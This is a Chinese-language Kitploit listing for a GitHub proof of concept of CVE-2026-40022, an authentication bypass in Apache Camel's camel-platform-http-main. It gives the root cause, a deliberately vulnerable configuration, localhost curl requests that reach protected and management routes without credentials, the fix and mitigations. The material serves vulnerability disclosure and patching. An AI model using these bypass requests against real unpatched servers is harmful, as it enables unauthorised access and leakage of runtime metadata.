Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-40022 — CVE-2026-40022 的复现程序:Apache Camel camel-platform-http-main 在非根上下文路径上的认证绕过 | Kitploit
工具/GitHubGitHub/oscerd/cve-2026-40022
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试身份验证错误配置
GitHuboscerd/cve-2026-40022

CVE-2026-40022

CVE-2026-40022 的复现程序:Apache Camel camel-platform-http-main 在非根上下文路径上的认证绕过

查看仓库
22个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

camel-platform-http-main 非根上下文路径上的身份验证绕过 (CVE-2026-40022)

该项目演示了 Apache Camel 的 camel-platform-http-main 组件(Camel main 运行时的嵌入式 HTTP/管理服务器)中的一个身份验证绕过漏洞,跟踪编号为 CVE-2026-40022。当启用身份验证并配置了非根上下文路径(例如 /api 或 /admin)时,身份验证处理器仅覆盖确切的上下文路径,因此对子路径的未经身份验证的请求可以到达受保护的路由和管理端点。

公告:https://camel.apache.org/security/CVE-2026-40022.html

漏洞概要

属性值
组件camel-platform-http-main(Camel main 运行时嵌入式 HTTP/管理服务器)
受影响类BasicAuthenticationConfigurer、JWTAuthenticationConfigurer、MainAuthenticationConfigurer
根本原因当 authenticationPath 未设置时,它从 camel.server.path 派生;在使用 Vert.x 子路由器挂载模型时,身份验证处理器仅匹配确切的上下文路径,而不匹配其子路径
CWECWE-287: 不正确的身份验证(身份验证绕过)
影响未经身份验证即可访问受保护的业务路由和管理端点(例如 /observe/info 运行时元数据泄露)
受影响版本从 4.14.1 到 4.14.6 之前,以及从 4.15.0 到 4.18.2 之前
修复版本4.14.6、4.18.2、4.20.0
报告者于季航(Jihang Yu)
PRapache/camel#22474 (main)、#22475 (4.18.x)、#22476 (4.14.x)

技术细节

BasicAuthenticationConfigurer(以及 JWTAuthenticationConfigurer)从 properties.getAuthenticationPath() 解析身份验证处理器保护的路径,当未显式设置时,回退到 properties.getPath()(camel.server.path 上下文路径):

root@kitploit:~
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());

Vert.x 服务器在 <contextPath>* 处挂载一个子路由器,并在该子路由器内部的已解析路径处注册身份验证处理器。在受影响版本中,已解析的路径是上下文路径本身,因此——相对于已挂载在 /api 的子路由器——身份验证处理器最终匹配 /api/api 而不是每个子路径。结果如下:

  • /api/api 会被质询(401)——处理器存在,但作用域错误
  • /api/hello(真正的业务路由)不会被质询 → 无需凭据即可访问

修复使 resolveAuthenticationPath 返回 /*,因此处理器覆盖子路由器的所有子路径。

设置

application.properties——使用非根上下文路径并启用身份验证,且 authenticationPath 未设置:

root@kitploit:~
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties

路由在 /api/hello 提供服务。

前提条件

  • Java 17+
  • Maven 3.8+

无需外部服务或 Docker 容器——易受攻击的 HTTP 服务器就是应用程序本身。

复现步骤

步骤 1:构建并启动

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar

步骤 2:表明身份验证已启用

root@kitploit:~
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
#    WWW-Authenticate: Basic realm="vertx-web"

BasicAuthHandler 已激活——但作用域仅为确切的上下文路径。

步骤 3:绕过——无需凭据即可访问受保护路由

root@kitploit:~
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
#    hello-response (这是一个受保护的业务路由)

在修复版本(4.14.6 / 4.18.2 / 4.20.0)上将返回 401 Unauthorized。

步骤 4:使用凭据也可正常访问(按预期工作)

root@kitploit:~
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK

影响:管理端点泄露

同样的缺陷也适用于管理服务器(camel.management.path,例如 /admin)。对子路径(如 /admin/observe/info)的未经身份验证的请求可到达管理端点,从而泄露运行时元数据:操作系统用户、工作/主目录、进程 ID、JVM 和操作系统信息。

利用条件

  1. 使用 camel-platform-http-main 的 Camel main 运行时。
  2. 在服务器或管理服务器上启用了身份验证。
  3. 配置了非根上下文路径(camel.server.path / camel.management.path)。
  4. 未显式设置 camel.server.authenticationPath / camel.management.authenticationPath。

建议修复

升级到 4.14.6 / 4.18.2 / 4.20.0。修复(resolveAuthenticationPath)使身份验证处理器覆盖每个子路径:

root@kitploit:~
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
    if (authenticationPath != null && !authenticationPath.isBlank()) {
        return authenticationPath;
    }
    return "/*";   // 原为:确切的上下文路径
}

缓解措施

在升级之前:

  1. 显式设置 camel.server.authenticationPath = /*(以及 camel.management.authenticationPath = /*),使处理器覆盖所有子路径。
  2. 仅将管理服务器放在受信任的网络中。

文件

root@kitploit:~
CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Camel main 运行时入口点
    │   └── HelloRoute.java           # 一个受保护的 platform-http 路由 (/api/hello)
    └── resources/
        ├── application.properties    # 非根路径 + 启用身份验证(易受攻击的配置)
        └── auth.properties           # basic-auth 用户 (camel / propertiesPass)

免责声明

此复现工具仅供安全研究和授权测试使用,针对的是已公开披露并修复的漏洞。请勿在未经明确许可的系统上使用。

下载工具